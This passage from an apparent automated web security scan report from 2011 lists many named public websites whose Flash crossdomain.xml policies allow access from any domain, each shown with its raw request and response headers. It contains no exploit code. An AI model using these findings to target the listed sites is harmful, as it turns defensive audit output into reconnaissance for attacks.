<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-polic
...[SNIP]...

7.17. http://www.apartments.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.apartments.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.apartments.com

Response

HTTP/1.1 200 OK
Content-Length: 320
Content-Type: text/xml
Last-Modified: Thu, 29 May 2008 18:49:26 GMT
Accept-Ranges: bytes
ETag: "7d3deb7bcc1c81:0"
Server: Microsoft-IIS/7.5
Set-Cookie: activitylogging=expirationday=3/31/2016 8:45:18 AM&lastactivitytime=4/2/2011 8:45:18 AM&visitid=0492ebbb-7f02-49b1-a38b-6abeb3a067f1&visitorid=71dabbfe-f70f-42a7-a087-3839130837e5&lastfrontdoor=APTS; expires=Thu, 31-Mar-2016 13:45:18 GMT; path=/
Set-Cookie: AptAff=bcebc5f18797507fbea1f95dd9c16e6f175b4a5d707036d32d014473ac89b5b1;Path=/
Set-Cookie: activitylogging=expirationday=3/31/2016 8:45:18 AM&lastactivitytime=4/2/2011 8:45:18 AM&visitid=0492ebbb-7f02-49b1-a38b-6abeb3a067f1&visitorid=71dabbfe-f70f-42a7-a087-3839130837e5&lastfrontdoor=APTS; expires=Thu, 31-Mar-2016 13:45:18 GMT; path=/
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 13:45:18 GMT
Connection: close
Set-Cookie: aptspersistence=578884780.24576.0000; path=/

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
...[SNIP]...

7.18. http://www.archive.org/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.archive.org
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.archive.org

Response

HTTP/1.1 200 OK
Server: nginx/0.8.32
Date: Sat, 02 Apr 2011 13:36:06 GMT
Content-Type: text/xml
Content-Length: 78
Last-Modified: Tue, 08 Mar 2011 00:34:01 GMT
Connection: close
Expires: Sat, 02 Apr 2011 19:36:06 GMT
Cache-Control: max-age=21600
Accept-Ranges: bytes

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

7.19. http://www.askmen.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.askmen.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.askmen.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.11 (Unix) PHP/5.2.9
Last-Modified: Fri, 01 May 2009 14:10:22 GMT
ETag: "4d6cce-d3-468da5f967d54"-gzip
ServerHost: (null)
Content-Type: application/xml
Expires: Sat, 02 Apr 2011 13:26:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 02 Apr 2011 13:26:34 GMT
Content-Length: 211
Connection: close
Set-Cookie: NSC_btlnfo_iuuq_wjq=ffffffff090f1b3545525d5f4f58455e445a4a423660;path=/;httponly

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-
...[SNIP]...

7.20. http://www.atom.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.atom.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.atom.com

Response

HTTP/1.0 200 OK
Server: Apache-Coyote/1.1
ETag: W/"138-1300820240000"
Last-Modified: Tue, 22 Mar 2011 18:57:20 GMT
Content-Type: text/xml
Content-Length: 138
INFO_HOST: www.atom.com
Cache-Control: max-age=837
Expires: Sat, 02 Apr 2011 14:11:37 GMT
Date: Sat, 02 Apr 2011 13:57:40 GMT
Connection: close
Set-Cookie: ak-mobile-detected=no; expires=Sat, 02-Apr-2011 19:57:40 GMT; path=/
Vary: User-Agent

<cross-domain-policy>
<allow-access-from domain="*"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

7.21. http://www.babelgum.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.babelgum.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.babelgum.com

Response

HTTP/1.0 200 OK
Accept-Ranges: bytes
Content-Type: text/xml
ETag: "f6804c-d0-490c48be6ef80"
Server: Apache/2.2.16
Age: 228561
Date: Sat, 02 Apr 2011 13:41:19 GMT
Last-Modified: Tue, 21 Sep 2010 12:55:42 GMT
Content-Length: 208
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-p
...[SNIP]...

7.22. http://www.biblegateway.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.biblegateway.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.biblegateway.com

Response

HTTP/1.1 200 OK
Server: nginx/0.8.54
Date: Sat, 02 Apr 2011 13:34:50 GMT
Content-Type: text/xml; charset=utf-8
Connection: close
Vary: Accept-Encoding
Last-Modified: Thu, 31 Mar 2011 20:34:45 GMT
ETag: "9d7bf-cd-39486340"
Accept-Ranges: bytes
Content-Length: 205

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-pol
...[SNIP]...

7.23. http://www.bigpoint.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.bigpoint.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.bigpoint.com

Response

HTTP/1.0 200 OK
Date: Sat, 02 Apr 2011 13:54:03 GMT
Server: Apache
Last-Modified: Mon, 01 Nov 2010 10:20:15 GMT
ETag: "12cc6f-67-493fb277695c0"
Accept-Ranges: bytes
Content-Length: 103
Vary: Accept-Encoding,User-Agent
Content-Type: application/xml
X-XTM-Node: pool-03-www-017033
Connection: Close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.24. http://www.bizjournals.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.bizjournals.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.bizjournals.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:39:05 GMT
Server: Apache
Last-Modified: Mon, 09 Aug 2010 17:11:42 GMT
ETag: "cc-48d671c40cf80"
Accept-Ranges: bytes
Content-Length: 204
ServerID: 8
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

7.25. http://www.blackberry.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.blackberry.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.blackberry.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:38:46 GMT
Server: Apache
Last-Modified: Tue, 07 Dec 2010 21:59:07 GMT
ETag: "11eadd1-c7-496d91d17a0c0"
Accept-Ranges: bytes
Content-Length: 199
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.26. http://www.blogs.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.blogs.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.blogs.com

Response

HTTP/1.0 200 OK
Date: Sat, 02 Apr 2011 14:07:11 GMT
Server: Apache
Last-Modified: Wed, 16 Feb 2011 20:12:27 GMT
ETag: "b94708-eb-49c6be65b00c0"
Accept-Ranges: bytes
Content-Length: 235
Vary: Accept-Encoding
Content-Type: text/xml
Content-Language: en

<?xml version="1.0"?>


    <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">


    <cross-domain-policy>


    <allow-access-from domain="*" />
...[SNIP]...

7.27. http://www.bloomberg.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.bloomberg.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.bloomberg.com

Response

HTTP/1.0 200 OK
Server: Sun-Java-System-Web-Server/7.0
Expires: Sun, 01 Apr 2012 13:23:23 GMT
Cache-Control: max-age=31536000
Content-Type: text/xml
Last-Modified: Wed, 07 Jul 2010 19:36:53 GMT
ETag: W/"ff-4c34d755"
Date: Sat, 02 Apr 2011 13:23:23 GMT
Content-Length: 255
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
<allow-http-request-header
...[SNIP]...

7.28. http://www.boostmobile.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.boostmobile.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.boostmobile.com

Response

HTTP/1.1 200 OK
Content-Length: 220
Content-Type: text/xml
Last-Modified: Fri, 29 May 2009 18:38:10 GMT
Accept-Ranges: bytes
ETag: "e9bbdb9d8ce0c91:13e3"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: https://apps.boostmobile.com
Date: Sat, 02 Apr 2011 13:37:45 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
</cr
...[SNIP]...

7.29. http://www.bravotv.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.bravotv.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.bravotv.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Varnish: 424538094
Content-Type: text/xml
Varnish-X-Cache: MISS
ETag: "1f70023-13e-48d3cc9cc3480"
Last-Modified: Sat, 07 Aug 2010 14:42:10 GMT
Content-Length: 318
Cache-Control: max-age=281
Date: Sat, 02 Apr 2011 13:40:12 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

7.30. http://www.break.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.break.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.break.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Fri, 16 Jun 2006 02:53:41 GMT
ETag: "3ed36e13f090c61:b41f"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 157
Date: Sat, 02 Apr 2011 12:38:46 GMT
X-Varnish: 396558551 396540669
Age: 124
Via: 1.1 varnish
Connection: close
X-Varnish-Host: varnish03
X-Client-IP: 173.193.214.243
X-Country: US

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.31. http://www.buzznet.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.buzznet.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.buzznet.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:44:25 GMT
Server: Apache
Set-Cookie: bncom=173.193.214.243.68811301751865710; path=/; domain=.buzznet.com
Last-Modified: Sat, 01 May 2010 08:01:30 GMT
ETag: "ca-4bdbdfda"
Accept-Ranges: bytes
Content-Length: 202
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy
...[SNIP]...

7.32. http://www.cafemom.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cafemom.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.cafemom.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:25:28 GMT
Server: Apache
Last-Modified: Thu, 21 Jan 2010 22:10:57 GMT
Accept-Ranges: bytes
Content-Length: 201
Vary: Accept-Encoding
Connection: close
Content-Type: application/xml; charset=utf-8

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

7.33. http://www.cbs.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cbs.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain, uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.cbs.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Fri, 13 Aug 2010 17:04:44 GMT
X-Real-Server: ws3182.drt.cbsig.net
Content-Type: application/xml
Cache-Control: max-age=248
Date: Sat, 02 Apr 2011 13:27:26 GMT
Content-Length: 1941
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-access-fro
...[SNIP]...
<allow-access-from domain="wwwimage.cbs.com" />
<allow-access-from domain="cbs.com" />
<allow-access-from domain="cgi.cbs.com" />
<allow-access-from domain="video.cgi.cbs.com" />
<allow-access-from domain="dev.cgi.cbs.com" />
<allow-access-from domain="dev.cbs.cbsig.net" />
<allow-access-from domain="www.cbsnews.com" />
<allow-access-from domain="wwwimage.cbsnews.com" />
<allow-access-from domain="cbsnews.com" />
<allow-access-from domain="cgi.cbsnews.com" />
<allow-access-from domain="video.cgi.cbsnews.com" />
<allow-access-from domain="*.cbs.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.*.cbs.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.cbsnews.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.*.cbsnews.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.sportsline.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.sportsline.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.*.sportsline.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="data.panachetech.com" />
<allow-access-from domain="data15.panachetech.com" />
<allow-access-from domain="*.panachetech.com" />
<allow-access-from domain="*.yourminis.com" />
<allow-access-from domain="vsallaccess.com" />
<allow-access-from domain="www.vsallaccess.com" />
<allow-access-from domain="*.vsallaccess.com" />
<allow-access-from domain="cbsstatic.dev.drt.cbsig.net" />
<allow-access-from domain="*.cbsinteractive.com" />
<allow-access-from domain="*.cnet.com" />
<allow-access-from domain="stage.drt.cbsig.net" />
<allow-access-from domain="*.broccolobster.com" />
...[SNIP]...

7.34. http://www.cbsinteractive.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cbsinteractive.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.cbsinteractive.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:31:53 GMT
Server: Apache/2.2
Accept-Ranges: bytes
Content-Length: 80
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: application/xml

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.35. http://www.cbssports.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cbssports.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.cbssports.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:25:08 GMT
Server: Apache
Last-Modified: Sun, 27 Feb 2011 21:03:46 GMT
Accept-Ranges: bytes
Content-Length: 2798
Cache-Control: max-age=3600
Expires: Sat, 02 Apr 2011 14:25:08 GMT
X-Media: ws1373-fe.tm
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-access-from domain="sportsline.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.sportsline.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.*.sportsline.com" secure="false" />
...[SNIP]...
<allow-access-from domain="cbssports.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.cbssports.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.*.cbssports.com" secure="false" />
...[SNIP]...
<allow-access-from domain="cbsimg.net" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.cbsimg.net" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="cbsgames.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.cbsgames.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.*.cbsgames.com" secure="false" />
...[SNIP]...
<allow-access-from domain="cbsnews.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.cbsnews.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.*.cbsnews.com" secure="false" />
...[SNIP]...
<allow-access-from domain="cbs.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.cbs.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.*.cbs.com" secure="false" />
...[SNIP]...
<allow-access-from domain="ncaa.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.ncaa.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.*.ncaa.com" secure="false" />
...[SNIP]...
<allow-access-from domain="maxpreps.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.maxpreps.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.*.maxpreps.com" secure="false" />
...[SNIP]...
<allow-access-from domain="trupreps.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.trupreps.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.*.trupreps.com" secure="false" />
...[SNIP]...
<allow-access-from domain="cbsig.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.cbsig.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.*.cbsig.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.akamai.net" />
<allow-access-from domain="*.g.akamai.net" />
<allow-access-from domain="beyond.download.akamai.com" />
<allow-access-from domain="cbssports.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.cbssports.com" secure="false" />
...[SNIP]...
<allow-access-from domain="cp32822.edgefcs.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.doubleclick.net" secure="false" />
...[SNIP]...
<allow-access-from domain="doubleclick.net" />
<allow-access-from domain="*.*.doubleclick.net"/>
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.*.2mdn.net" />
<allow-access-from domain="sandbox.dartmotif.com" />
<allow-access-from domain="my.22squared.com" />
...[SNIP]...

7.36. http://www.clear-request.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.clear-request.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.clear-request.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:04:15 GMT
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Thu, 15 Jan 2009 16:15:53 GMT
ETag: "4b90d7-cc-c5400040"
Accept-Ranges: bytes
Content-Length: 204
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

7.37. http://www.cmt.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cmt.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.cmt.com

Response

HTTP/1.0 200 OK
Server: Apache/2.0.63 (Unix) mod_jk/1.2.27
Last-Modified: Thu, 14 Aug 2008 20:11:47 GMT
ETag: "1c4250f-121-454711d5526c0"
Accept-Ranges: bytes
Content-Length: 289
Content-Type: application/xml
Cache-Control: max-age=600
Date: Sat, 02 Apr 2011 13:38:06 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />

...[SNIP]...

7.38. http://www.colbertnation.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.colbertnation.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.colbertnation.com

Response

HTTP/1.0 200 OK
Server: Apache/2.0.63 (Unix) PHP/5.3.1
Last-Modified: Wed, 13 Aug 2008 14:31:05 GMT
ETag: "160c686-102-454583d0d9c40"
Accept-Ranges: bytes
Content-Length: 258
Content-Type: application/xml
Cache-Control: max-age=386
Expires: Sat, 02 Apr 2011 14:25:35 GMT
Date: Sat, 02 Apr 2011 14:19:09 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
<allow-http-request-hea
...[SNIP]...

7.39. http://www.collegehumor.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.collegehumor.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:35:38 GMT
Server: Apache
Last-Modified: Thu, 17 Mar 2011 00:02:39 GMT
ETag: "9c073-235-49ea2612be5c0"
Accept-Ranges: bytes
Content-Length: 565
Vary: Accept-Encoding
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="www.collegehumor.com" />
...[SNIP]...
<allow-access-from domain="dev.collegehumor.com" />
   <allow-access-from domain="staging.collegehumor.com" />
   <allow-access-from domain="collegehumor.com" />
   <allow-access-from domain="*.collegehumor.com" />
   <allow-access-from domain="*.cvcdn.com" />
   <allow-access-from domain="*" to-ports="80"/>
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

7.40. http://www.comedycentral.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.comedycentral.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.comedycentral.com

Response

HTTP/1.0 200 OK
Server: Sun-ONE-Web-Server/6.1
Content-Length: 258
Content-Type: text/xml
Last-Modified: Tue, 15 Apr 2008 20:09:33 GMT
ETag: "102-48050b7d"
Accept-Ranges: bytes
Cache-Control: max-age=72
Expires: Sat, 02 Apr 2011 13:38:15 GMT
Date: Sat, 02 Apr 2011 13:37:03 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
<allow-http-request-hea
...[SNIP]...

7.41. http://www.contactatonce.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.contactatonce.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.contactatonce.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:45:56 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Sun, 27 Jun 2010 23:26:28 GMT
ETag: "cb-48a0b5558d100"
Accept-Ranges: bytes
Content-Length: 203
Cache-Control: public, must-revalidate, proxy-revalidate
Expires: Sat, 09 Apr 2011 13:45:56 GMT
Vary: Accept-Encoding,User-Agent
Pragma: public
X-Powered-By: W3 Total Cache/0.9.1.3
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

7.42. http://www.cracked.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cracked.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.cracked.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.6
Last-Modified: Tue, 14 Jul 2009 21:42:53 GMT
ETag: "bf8fd0-6c-46eb15220f140"-gzip
Content-Type: application/xml
Expires: Sat, 02 Apr 2011 13:33:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 02 Apr 2011 13:33:14 GMT
Content-Length: 108
Connection: close
Set-Cookie: BIGipServerorigin.cracked.com=1083574538.20480.0000; path=/

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.43. http://www.crackle.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.crackle.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.crackle.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Fri, 25 Feb 2011 01:20:08 GMT
Accept-Ranges: bytes
ETag: "32a0dd238ad4cb1:f88"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Connection: close
Date: Sat, 02 Apr 2011 13:44:15 GMT
Age: 15631
Content-Length: 126

...<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>

7.44. http://www.craveonline.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.craveonline.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.craveonline.com

Response

HTTP/1.1 200 OK
Server: Apache/2
Vary: Accept-Encoding
X-Served-By: app1v-fe.sb.lax2
Content-Type: text/xml
Content-Length: 260
Date: Sat, 02 Apr 2011 14:19:13 GMT
X-Varnish: 732507065
Age: 0
Via: 1.1 varnish
Connection: close
X-Cache: MISS from pxy1v.sb.lax2

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
 <cross-domain-policy>

...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

7.45. http://www.curse.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.curse.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.curse.com

Response

HTTP/1.1 200 OK
Set-Cookie: BIGipServer=1932476484.20480.0000; path=/
Content-Type: text/xml
Last-Modified: Tue, 06 Apr 2010 00:25:04 GMT
Accept-Ranges: bytes
ETag: "070209a1fd5ca1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 13:39:41 GMT
Xonnection: Xeep-alive
Content-Length: 332

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-pol
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

7.46. http://www.daylife.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.daylife.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.daylife.com

Response

HTTP/1.1 200 OK
Server: Apache
